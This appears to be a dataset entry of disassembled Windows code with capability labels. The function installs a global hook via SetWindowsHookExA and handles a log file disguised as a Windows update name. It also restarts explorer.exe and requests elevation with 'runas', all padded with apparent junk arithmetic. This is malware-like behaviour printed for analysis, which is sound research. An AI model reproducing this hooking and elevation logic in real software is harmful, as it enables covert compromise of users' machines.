Function at 0x404ff0
Capabilities:
Check if file exists
Create process on windows
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x106c
call fcn.00425740
mov eax, dword [0x452ad4]
mov ecx, dword [0x451a84]
push ebx
mov dword [esp + 0x106c], eax
push esi
mov esi, dword [0x451a78]
mov eax, 0xfe03f81
imul esi
mov ebx, ecx
imul ebx, ebx, 0xe8
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x451a68]
sub ebx, eax
mov eax, dword [ebp + 8]
push edi
mov edi, dword [0x451a6c]
sub ebx, edx
cmp eax, 0x132b600
lea ebx, [ebx + edi + 0x21b]
mov dword [esp + 0x14], 0
mov dword [str._r_____r_____n], ebx
je 0x4050cf
mov eax, 0xae4c415d
imul esi
add edx, esi
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0x2053e08b
imul edi
sub edx, edi
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x451a7c]
sub eax, esi
sub eax, edx
lea ecx, [eax + ecx - 0xd2]
mov dword [0x451a6c], ecx
mov esi, 0x64
lea ecx, [ecx]
push 0x3e8
call edi
dec esi
jne 0x4050b0
xor eax, eax
mov ecx, dword [esp + 0x1074]
call fcn.00424ef1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov esi, dword [0x451a70]
mov eax, edx
imul esi, esi, 0xd9
imul eax, eax, 0x193
sub esi, eax
mov eax, edi
imul eax, eax, 0x102
add esi, eax
mov eax, 0x43b3d5b
imul edx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, dword [section.HookData]
test eax, eax
mov dword [0x451a78], esi
je 0x405176
mov eax, 0xa29ecf17
imul esi
add edx, esi
mov esi, dword [0x451a7c]
sar edx, 8
imul esi, esi, 0xfffffefe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
mov ecx, dword [0x451a80]
mov eax, 0x43b3d5b
imul ecx
mov ecx, dword [0x451a64]
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
add esi, ebx
lea edx, [ecx + esi - 0xd8]
mov dword [0x451a64], edx
mov eax, 1
mov ecx, dword [esp + 0x1074]
call fcn.00424ef1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, 0x7a0a7ce7
imul esi
sar edx, 8
mov eax, edx
mov esi, dword [0x451a80]
shr eax, 0x1f
add eax, edx
mov edx, dword [0x451a68]
imul edx, edx, 0x21e
sub edx, eax
mov eax, dword [0x451a74]
imul eax, eax, 0x79
add edx, esi
lea edx, [eax + edx + 0x215]
mov dword [0x451a70], edx
mov esi, dword [0x451a74]
mov eax, 0xdfac1f75
imul esi, esi, 0xab
imul dword [0x451a68]
add edx, dword [0x451a68]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ebx
imul edx, edx, 0x125
sub esi, eax
mov eax, dword [ebp + 0x10]
test eax, eax
lea esi, [esi + edx - 0xd8]
mov dword [0x451a7c], esi
jg 0x4052c5
mov eax, dword [ebp + 0x14]
test eax, eax
je 0x4052c5
lea edx, [eax + 1]
mov dword [esp + 0x10], edx
lea ecx, [ecx]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x405210
sub eax, dword [esp + 0x10]
mov dword [esp + 0x10], eax
je 0x4052c5
mov ebx, dword [0x451a70]
imul esi, esi, 0x21e
imul ecx, ecx, 0xe8
mov eax, 0x577f7cc1
imul edi
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
add eax, esi
sub eax, ecx
mov ecx, dword [ebp + 0x14]
sub eax, ebx
push ecx
add eax, 0x33e
push 0
mov dword [0x451a68], eax
call fcn.00403760
mov esi, eax
add esp, 8
test esi, esi
jle 0x4059ef
mov ecx, dword [0x451a80]
mov eax, 0xae4c415d
imul ecx
add edx, ecx
mov ecx, dword [0x451a78]
sar edx, 9
imul ecx, ecx, 0x2ed
mov edi, dword [0x451a6c]
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x451a64]
imul edx, edx, 0x219
sub ecx, eax
add ecx, edx
sub ecx, dword [0x451a68]
add ecx, 0x1eb
mov dword [0x451a80], ecx
mov ecx, dword [0x451a84]
jmp 0x405312
mov eax, 0x7a0a7ce7
imul esi, esi, 0x2ed
imul dword [0x451a74]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, edi
imul edx, edx, 0x21e
mov ecx, eax
sub ecx, esi
mov esi, dword [ebp + 0x10]
add ecx, edx
mov eax, 0xa29ecf17
imul ebx
add edx, ebx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
sub ecx, 0xd8
mov dword [0x451a84], ecx
mov eax, 0xfe03f81
imul ecx, ecx, 0xe8
imul dword [0x451a78]
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
sub ecx, dword [0x451a68]
lea ecx, [ecx + edi + 0x21b]
push str.c:windowsKB978978.log
mov dword [str._r_____r_____n], ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [0x451a78]
mov edi, dword [0x451a7c]
mov eax, 0xa29ecf17
imul edi, edi, 0xfffffefe
imul ecx
add edx, ecx
mov ecx, dword [0x451a80]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x43b3d5b
imul ecx
sar edx, 1
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x451a64]
sub edi, ecx
add edi, dword [str._r_____r_____n]
mov ecx, dword [0x563aec]
push esi
push ecx
lea eax, [edx + edi - 0xd8]
mov edx, dword [ebp + 0xc]
push sym.CallDll.exe_long_int___stdcall_EngineProc_int__unsigned_int__long_int_
push edx
mov dword [0x451a64], eax
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
test eax, eax
mov dword [section.HookData], eax
je 0x405a50
mov ecx, dword [0x451a78]
mov esi, dword [0x451a6c]
mov eax, 0xae4c415d
imul ecx
add edx, ecx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x2053e08b
imul esi
sub edx, esi
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x451a7c]
sub eax, edi
sub eax, edx
mov edx, dword [0x451a84]
lea esi, [eax + edx - 0xd2]
mov dword [0x563af0], 1
xor edi, edi
jmp 0x405430
mov esi, dword [0x451a6c]
mov ecx, dword [0x451a78]
lea ecx, [ecx]
mov eax, 0xae4c415d
imul ecx
add edx, ecx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ecx, eax
mov eax, 0x2053e08b
imul esi
sub edx, esi
mov esi, dword [0x451a7c]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, ecx
mov ecx, dword [0x451a84]
sub eax, esi
lea edx, [eax + ecx - 0xd2]
push str.c:windowsKB978978.log
mov dword [0x451a6c], edx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
cmp eax, 1
je 0x405496
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
inc edi
cmp edi, 0x12c
jl 0x405421
mov ecx, dword [0x451a70]
mov esi, dword [0x451a74]
mov eax, 0x577f7cc1
imul ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0x8d3dcb09
imul esi
add edx, esi
mov esi, dword [0x451a84]
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, esi
imul edx, edx, 0xd9
sub eax, ebx
sub eax, edx
add eax, 0x506
cmp edi, 0x12c
mov dword [0x451a74], eax
jl 0x405aa8
mov eax, dword [esp + 0x14]
test eax, eax
jne 0x405aa8
mov edx, dword [0x451a68]
imul ecx, ecx, 0xd9
mov eax, edx
imul eax, eax, 0x193
sub ecx, eax
mov eax, dword [0x451a6c]
imul eax, eax, 0x102
add ecx, eax
mov eax, 0x43b3d5b
imul edx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov dword [0x451a78], ecx
push 0x800
lea ecx, [esp + 0x74]
push ecx
mov dword [esp + 0x1c], 1
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov ecx, dword [0x451a68]
mov esi, dword [0x451a74]
mov eax, 0xdfac1f75
imul esi, esi, 0xab
imul ecx
add edx, ecx
mov ecx, dword [str._r_____r_____n]
sar edx, 8
imul ecx, ecx, 0x125
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
lea eax, [esp + 0x70]
push eax
lea edx, [esi + ecx - 0xd8]
lea ecx, [esp + 0x874]
push str._sexplorer.exe
push ecx
mov dword [0x451a7c], edx
call fcn.0042561a
lea edx, [esp + 0x87c]
push 0
push edx
call fcn.0042540d
add esp, 0x14
cmp eax, 0xffffffff
je 0x40598e
mov ecx, dword [0x451a80]
mov eax, 0xae4c415d
imul ecx
mov esi, dword [0x451a68]
add edx, ecx
mov ecx, dword [0x451a78]
sar edx, 9
imul ecx, ecx, 0x2ed
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x451a64]
imul edx, edx, 0x219
sub ecx, eax
add ecx, edx
sub ecx, esi
add ecx, 0x1eb
push str.explorer.exe
mov dword [0x451a80], ecx
call fcn.00416790
mov ecx, dword [0x451a74]
mov esi, dword [0x451a7c]
mov eax, 0x7a0a7ce7
imul esi, esi, 0x2ed
imul ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x451a6c]
imul edx, edx, 0x21e
mov ecx, eax
sub ecx, esi
mov esi, dword [str._r_____r_____n]
add ecx, edx
mov eax, 0xa29ecf17
imul esi
add edx, esi
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
add esp, 4
sub ecx, 0xd8
mov dword [0x451a84], ecx
mov dword [esp + 0x10], 5
jmp 0x405683
mov ecx, dword [0x451a84]
mov edx, dword [0x451a78]
imul ecx, ecx, 0xe8
mov edi, dword [0x451a68]
mov eax, 0xfe03f81
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x451a6c]
sub ecx, eax
sub ecx, edi
lea eax, [ecx + edx + 0x21b]
push str.explorer.exe
mov dword [str._r_____r_____n], eax
call fcn.00416380
add esp, 4
test eax, eax
jg 0x405930
mov esi, dword [0x451a78]
mov ebx, dword [0x451a7c]
mov eax, 0xa29ecf17
imul esi
add edx, esi
sar edx, 8
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edi, ebx
imul edi, edi, 0xfffffefe
sub edi, ecx
mov ecx, dword [0x451a80]
mov eax, 0x43b3d5b
imul ecx
mov ecx, dword [str._r_____r_____n]
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
xor eax, eax
add edi, ecx
mov ecx, dword [0x451a64]
lea edx, [ecx + edi - 0xd8]
mov dword [0x451a64], edx
mov ecx, 0x11
lea edi, [esp + 0x18]
rep stosd dword es:[edi], eax
mov ecx, dword [0x451a6c]
mov edi, dword [0x451a84]
mov eax, 0x577f7cc1
imul ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ebx
imul edx, edx, 0x21e
add eax, edx
mov edx, edi
imul edx, edx, 0xe8
sub eax, edx
sub eax, dword [0x451a70]
add eax, 0x33e
mov dword [0x451a68], eax
mov eax, 0xae4c415d
imul esi
add edx, esi
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0x2053e08b
imul ecx
sub edx, ecx
sar edx, 8
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub ecx, esi
sub ecx, ebx
lea edx, [ecx + edi - 0xd2]
lea eax, [esp + 0x60]
push eax
lea ecx, [esp + 0x1c]
push ecx
mov dword [0x451a6c], edx
lea edx, [esp + 0x78]
push edx
push 0
push 0x20
push 0
push 0
mov dword [esp + 0x34], 0x44
mov dword [esp + 0x60], 1
mov word [esp + 0x64], 5
push 0
lea eax, [esp + 0x890]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x405841
mov ecx, dword [0x451a78]
mov esi, dword [0x451a68]
mov eax, 0x7a0a7ce7
imul ecx
sar edx, 8
mov eax, edx
mov edi, dword [0x451a80]
shr eax, 0x1f
add eax, edx
mov edx, esi
imul edx, edx, 0x21e
sub edx, eax
mov eax, dword [0x451a74]
imul eax, eax, 0x79
add edx, edi
lea edx, [eax + edx + 0x215]
mov dword [0x451a70], edx
jmp 0x40593c
mov ecx, dword [0x451a70]
mov eax, 0x577f7cc1
imul ecx
mov ecx, dword [0x451a74]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x451a84]
imul edx, edx, 0xd9
sub ecx, esi
push 1
sub ecx, edx
add ecx, 0x506
lea eax, [esp + 0x74]
push eax
push 0
mov dword [0x451a74], ecx
lea ecx, [esp + 0x87c]
push ecx
push str.runas
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
mov esi, dword [0x451a68]
jg 0x4058f5
mov ecx, dword [0x451a70]
mov eax, dword [0x451a6c]
imul ecx, ecx, 0xd9
imul eax, eax, 0x102
mov edx, esi
imul edx, edx, 0x193
sub ecx, edx
add ecx, eax
mov eax, 0x43b3d5b
imul esi
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov dword [0x451a78], ecx
jmp 0x40593c
mov ecx, dword [0x451a74]
mov eax, 0xdfac1f75
imul ecx, ecx, 0xab
imul esi
add edx, esi
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [str._r_____r_____n]
sub ecx, eax
imul edx, edx, 0x125
lea eax, [ecx + edx - 0xd8]
mov dword [0x451a7c], eax
jmp 0x405936
mov esi, dword [0x451a68]
mov ecx, dword [0x451a78]
mov edi, dword [0x451a80]
imul ecx, ecx, 0x2ed
mov eax, 0xae4c415d
imul edi
add edx, edi
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x451a64]
imul edx, edx, 0x219
sub ecx, eax
add ecx, edx
sub ecx, esi
add ecx, 0x1eb
push 0x3e8
mov dword [0x451a80], ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
dec dword [esp + 0x10]
jne 0x40567d
mov esi, dword [0x451a7c]
mov edi, dword [0x451a6c]
imul esi, esi, 0x2ed
mov ebx, dword [str._r_____r_____n]
mov eax, 0x7a0a7ce7
imul dword [0x451a74]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, edi
imul edx, edx, 0x21e
mov ecx, eax
sub ecx, esi
add ecx, edx
mov eax, 0xa29ecf17
imul ebx
add edx, ebx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
sub ecx, 0xd8
mov dword [0x451a84], ecx
jmp 0x4051b2
mov ecx, dword [0x451a70]
mov eax, 0x577f7cc1
imul ecx
sar edx, 8
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov esi, ecx
mov ecx, dword [0x451a74]
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
mov ecx, dword [0x451a84]
sar edx, 7
imul ecx, ecx, 0xd9
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, esi
sub eax, ecx
add eax, 0x506
mov dword [0x451a74], eax
xor eax, eax
mov ecx, dword [esp + 0x1074]
call fcn.00424ef1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [0x451a6c]
mov eax, 0x577f7cc1
imul ecx
mov ecx, dword [0x451a7c]
sar edx, 8
imul ecx, ecx, 0x21e
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x451a84]
imul edx, edx, 0xe8
add eax, ecx
sub eax, edx
sub eax, dword [0x451a70]
add eax, 0x33e
mov dword [0x451a68], eax
xor eax, eax
mov ecx, dword [esp + 0x1074]
call fcn.00424ef1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [0x451a78]
imul esi, esi, 0xe8
mov eax, 0xfe03f81
imul ecx
mov ecx, dword [0x451a6c]
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
sub esi, dword [0x451a68]
lea edx, [esi + ecx + 0x21b]
mov ecx, dword [esp + 0x1074]
mov dword [str._r_____r_____n], edx
mov eax, 1
call fcn.00424ef1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret